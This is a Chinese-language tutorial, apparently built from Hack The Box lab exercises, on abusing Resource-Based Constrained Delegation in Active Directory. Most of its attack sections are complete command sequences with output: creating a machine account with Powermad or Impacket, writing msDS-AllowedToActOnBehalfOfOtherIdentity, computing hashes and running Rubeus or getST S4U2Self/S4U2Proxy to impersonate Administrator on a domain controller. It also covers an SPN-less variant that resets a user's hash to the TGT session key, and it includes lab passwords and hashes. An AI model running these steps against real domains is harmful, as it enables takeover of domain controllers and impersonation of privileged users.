RBCD

1. 介绍

Resource-based constrained delegation ( RBCD )是在 Windows Server 2012 中引入的。这种委派类型允许在目标资源上配置委派设置,而不是在被用于访问资源的服务账户上进行配置。

RBCD 依赖安全描述符而非如约束委派一样的SPN信任列表。管理员定义哪些安全主体可以为用户请求 Kerberos 票据。当服务收到代表另一用户授予访问权限的请求时,KDC 会检查运行后端服务的主体的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中的安全描述符,如果相同则会被授予访问权限

RBCD 的运行不依赖于特定的“域功能级别”,但要求在同一域中至少存在一台运行 Windows Server 2012 或更高版本的域控制器,且该域同时包含后端和前台服务器。

2. 利用

基于资源的约束委派(RBCD) :配置了基于资源的约束委派的计算机将信任其他用户在其自身上模拟任何用户。要配置此功能,必须将 ntAllowedToActOnBehalfOfOtherIdentity 属性设置为允许控制该属性的对象的 SID。这不需要 SeEnableDelegationPrivilege ,并且计算机可以自行修改它。

换句话说,RBCD 是机器帐户赋予自身的特权,不需要任何特殊特权,而无约束委派和约束委派都需要 SeEnableDelegationPrivilege 因为它们会影响域中的其他资源。

2.1. 条件:

要对 RBCD 发起攻击,我们需要两个条件:

  • 拥有一个可以修改目标msDS-AllowedToActOnBehalfOfOtherIdentity属性权限的用户或组。比如有GenericAllGenericWriteWrite DaclWrite Property等ACE
  • 可以修改另一个对象的SPN属性(最简单的方式是自己创建一个计算机账户)

2.2. On Windows

2.2.1. 枚举RBCD

powerview进行枚举

# 导入 PowerView 模块
Import-Module C:\Tools\PowerView.ps1

# 获取域内所有计算机
$computers = Get-DomainComputer

# 获取域内所有用户
$users = Get-DomainUser

# 定义所需的访问权限
$accessRights = "GenericWrite","GenericAll","WriteProperty","WriteDacl"

# 遍历域内每台计算机
foreach ($computer in $computers) {
    # 获取计算机的安全描述符
    $acl = Get-ObjectAcl -SamAccountName $computer.SamAccountName -ResolveGUIDs

    # 遍历域内每个用户
    foreach ($user in $users) {
        # 检查用户是否对该计算机对象拥有所需的访问权限
        $hasAccess = $acl | ?{$_.SecurityIdentifier -eq $user.ObjectSID} | %{($_.ActiveDirectoryRights -match ($accessRights -join '|'))}

        if ($hasAccess) {
            Write-Output "$($user.SamAccountName)$($computer.Name) 拥有所需的访问权限"
        }
    }
}

2.2.2. 创建计算机账户

获取具有 SPN 的对象最简单的方法是使用计算机账户,如果没有可以控制的计算机账户,可以自己创建一个
使用powerMad创建计算机账户(需要注意ms-DS-MachineAccountQuota属性的值是否为0)

PS C:\Tools> Import-Module .\Powermad.ps1
PS C:\Tools> New-MachineAccount -MachineAccount HACKTHEBOX -Password $(ConvertTo-SecureString "Hackthebox123+!" -AsPlainText -Force)

[+] Machine account HACKTHEBOX added

2.2.3. 修改目标rbcd属性

然后我们将创建的计算机的SID以二进制原始格式写入目标的msDS-AllowedToActOnBehalfOfOtherIdentity属性中

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> $ComputerSid = Get-DomainComputer HACKTHEBOX -Properties objectsid | Select -Expand objectsid
PS C:\Tools> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
PS C:\Tools> $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS C:\Tools> $SD.GetBinaryForm($SDBytes, 0)
PS C:\Tools> $credentials = New-Object System.Management.Automation.PSCredential "INLANEFREIGHT\carole.holmes", (ConvertTo-SecureString "Y3t4n0th3rP4ssw0rd" -AsPlainText -Force)
PS C:\Tools> Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $credentials -Verbose

VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Extracted domain 'INLANEFREIGHT.LOCAL' from 'CN=DC01,OU=Domain
Controllers,DC=INLANEFREIGHT,DC=LOCAL'
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=DC01,OU=Domain
Controllers,DC=INLANEFREIGHT,DC=LOCAL)))
VERBOSE: [Set-DomainObject] Setting 'msds-allowedtoactonbehalfofotheridentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0
36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 7 43 120 111
218 117 136 70 100 139 92 35 55 8 0 0' for object 'DC01$'

2.2.4. 获取哈希

获取我们创建计算机的哈希,这里使用Rubeus

PS C:\Tools> .\Rubeus.exe hash /password:Hackthebox123+! /user:HACKTHEBOX$ /domain:inlanefreight.local

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.2


[*] Action: Calculate Password Hash(es)

[*] Input password             : Hackthebox123+!
[*] Input username             : HACKTHEBOX$
[*] Input domain               : inlanefreight.local
[*] Salt                       : INLANEFREIGHT.LOCALhosthackthebox.inlanefreight.local
[*]       rc4_hmac             : CF767C9A9C529361F108AA67BF1B3695
[*]       aes128_cts_hmac_sha1 : 91BE80CCB5F58A8F18960858524B6EC6
[*]       aes256_cts_hmac_sha1 : 9457C7FC2D222793B1871EE4E62FEFB1CE158B719F99B6C992D7DC9FFB625D97
[*]       des_cbc_md5          : 5B516BDA5180E5CB

2.2.5. S4U2双阶段利用

获取创建的计算机账户的TGT,并通过S4U2Self请求获一个自服务TGS票据,且为了后面利用S4U2Proxy此票据需要是可转发的

然后通过S4U2Proxy 获得针对目标计算机上特定 SPN 的有效 TGS 票据,这里申请一个cifs/dc01.inlanefreight.local 服务的TGS 票证

这里也可以申请其他的,如ldap、http之类的

PS C:\Tools> .\Rubeus.exe s4u /user:HACKTHEBOX$ /rc4:CF767C9A9C529361F108AA67BF1B3695 /impersonateuser:administrator /msdsspn:cifs/dc01.inlanefreight.local /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Using rc4_hmac hash: CF767C9A9C529361F108AA67BF1B3695
[*] Building AS-REQ (w/ preauth) for: 'INLANEFREIGHT.LOCAL\HACKTHEBOX$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFWjCCBVagAwIBBaE<SNIP>


[*] Action: S4U

[*] Using domain controller: DC01.INLANEFREIGHT.LOCAL (fe80::c872:c68d:a355:e6f3%11)
[*] Building S4U2self request for: 'HACKTHEBOX$@INLANEFREIGHT.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator@INLANEFREIGHT.LOCAL' to 'HACKTHEBOX$@INLANEFREIGHT.LOCAL'
[*] base64(ticket.kirbi):

      doIGEjCCBg6gAwIBBaED<SNIP>

[*] Impersonating user 'administrator' to target SPN 'cifs/dc01.inlanefreight.local'
[*] Using domain controller: DC01.INLANEFREIGHT.LOCAL (fe80::c872:c68d:a355:e6f3%11)
[*] Building S4U2proxy request for service: 'cifs/dc01.inlanefreight.local'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc01.inlanefreight.local':

      doIHEDCCBwygAwIBBaEDA<SNIP>
        
[+] Ticket successfully imported!

我们也可以在票据请求中使用 /altservice:host,RPCSS,wsman,http,ldap,krbtgt,winrm 来包含附加服务

2.2.6. 清除属性

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> $credentials = New-Object System.Management.Automation.PSCredential "INLANEFREIGHT\carole.holmes", (ConvertTo-SecureString "Y3t4n0th3rP4ssw0rd" -AsPlainText -Force)
PS C:\Tools> Get-DomainComputer DC01 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity -Credential $credentials -Verbose

VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Extracted domain 'INLANEFREIGHT.LOCAL' from 'CN=DC01,OU=Domain
Controllers,DC=INLANEFREIGHT,DC=LOCAL'
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=DC01,OU=Domain
Controllers,DC=INLANEFREIGHT,DC=LOCAL)))
VERBOSE: [Set-DomainObject] Clearing 'msDS-AllowedToActOnBehalfOfOtherIdentity' for object 'DC01$'

2.3. On Linux

linux通常使用Impacket来进行利用

2.3.1. 枚举

枚举RBCD

bloodyAD --host dc.hercules.htb -d hercules.htb -k get object 'iis_webserver$' --attr servicePrincipalName

枚举Maq

nxc ldap dc.hercules.htb  -u ashley.b -k --use-kcache -M maq

2.3.2. 创建计算机

检测 MachineAccountQuota

┌──(root㉿kali)-[~/Desktop/htb/Delegate]
└─# nxc ldap delegate.vl -u N.Thompson -p KALEB_2341 -M maq
LDAP        10.129.234.69   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.69   389    DC1              [+] delegate.vl\N.Thompson:KALEB_2341
MAQ         10.129.234.69   389    DC1              [*] Getting the MachineAccountQuota
MAQ         10.129.234.69   389    DC1              MachineAccountQuota: 10

创建计算机

impacket-addcomputer delegate.vl/N.Thompson:KALEB_2341   -computer-name hack -computer-pass Admin123  -dc-ip 10.129.234.69

2.3.3. 配置RBCD

python3 rbcd.py -dc-ip 10.129.205.35 -t DC01 -f HACKTHEBOX inlanefreight\\carole.holmes:Y3t4n0th3rP4ssw0rd

Impacket v0.10.1.dev1+20230330.124621.5026d261 - Copyright 2022 Fortra
                                                                                  
[*] Starting Resource Based Constrained Delegation Attack against DC01$
[*] Initializing LDAP connection to 10.129.205.35
[*] Using inlanefreight\carole.holmes account with password ***
[*] LDAP bind OK
[*] Initializing domainDumper()
[*] Initializing LDAPAttack()
[*] Writing SECURITY_DESCRIPTOR related to (fake) computer `HACKTHEBOX` into msDS-AllowedToActOnBehalfOfOtherIdentity of target computer `DC01`
[*] Delegation rights modified succesfully!
[*] HACKTHEBOX$ can now impersonate users on DC01$ via S4U2Proxy

2.3.4. S4U2双阶段利用

  • 请求一个TGT,然后试用S4U2Self获取一个可转发的自服务票据
  • 然后用S4U2Proxy请求一个针对目标计算机特定SPN的有效TGS票据
getST.py -spn cifs/DC01.inlanefreight.local -impersonate Administrator -dc-ip 10.129.205.35 inlanefreight.local/HACKTHEBOX:Hackthebox123+\!

Impacket v0.10.1.dev1+20230330.124621.5026d261 - Copyright 2022 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

2.3.5. 案例

2.4. 2.4.RBCD on SPN-less users

我们知道RBCD的一个重要条件就是有可以控制的SPN的对象,我们通常通过创建计算机来获取此对象。但是如果我们无法创建计算机,且没有可以控制的SPN。那我们该怎么办呢,
这里我们可以用 James Forshaw 发现的一种方法来执行攻击

2.4.1. 使用NT哈希获取TGT

首先使用账号NT哈希获取TGT。然后从其中检索出会话密钥

#明文转哈希
python -c "password = 'Admin123'; import hashlib; print(hashlib.new('md4', password.encode('utf-16le')).hexdigest())"

使用Impacket-getTGT 获取 TGT

getTGT.py INLANEFREIGHT.LOCAL/beth.richards -hashes :de3d16603d7ded97bb47cd6641b1a392 -dc-ip 10.129.205.35
Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in beth.richards.ccache

2.4.2. 获取票据的会话密钥

为了确保 KDC 能够解密我们的TGT,我们需要用impacket-describeTicket获取票据的会话密钥

describeTicket.py beth.richards.ccache | grep 'Ticket Session Key'
[*] Ticket Session Key            : 7c3d8b8b135c7d574e423dcd826cab58

2.4.3. 更改用户密码

我们可以在 S4U2Self 与 S4U2Proxy 请求之间在域控制器上更改用户的密码。这涉及使用 SamrChangePasswordUser 方法将用户密码设为与 TGT 会话密钥相匹配,从而使 KDC 能够解密票据。使用 impacket-changepasswd将用户密码更改为与会话密钥一致

changepasswd.py INLANEFREIGHT.LOCAL/beth.richards@10.129.205.35 -hashes :de3d16603d7ded97bb47cd6641b1a392 -newhash :7c3d8b8b135c7d574e423dcd826cab58
Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of INLANEFREIGHT.LOCAL\beth.richards
[*] Connecting to DCE/RPC as INLANEFREIGHT.LOCAL\beth.richards
[*] Password was changed successfully.
[!] User will need to change their password on next logging because we are using hashes.

2.4.4. 请求服务票据

最后,使用已配置的委派来模拟高权限用户,并在目标机器上请求所需服务(如 CIFS 或 LDAP)的服务票据:

KRB5CCNAME=beth.richards.ccache getST.py -u2u -impersonate Administrator -spn TERMSRV/DC01.INLANEFREIGHT.LOCAL -no-pass INLANEFREIGHT.LOCAL/beth.richards -dc-ip 10.129.205.35
Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@TERMSRV_DC01.INLANEFREIGHT.LOCAL@INLANEFREIGHT.LOCAL.ccache

2.4.5. 案例

3. References: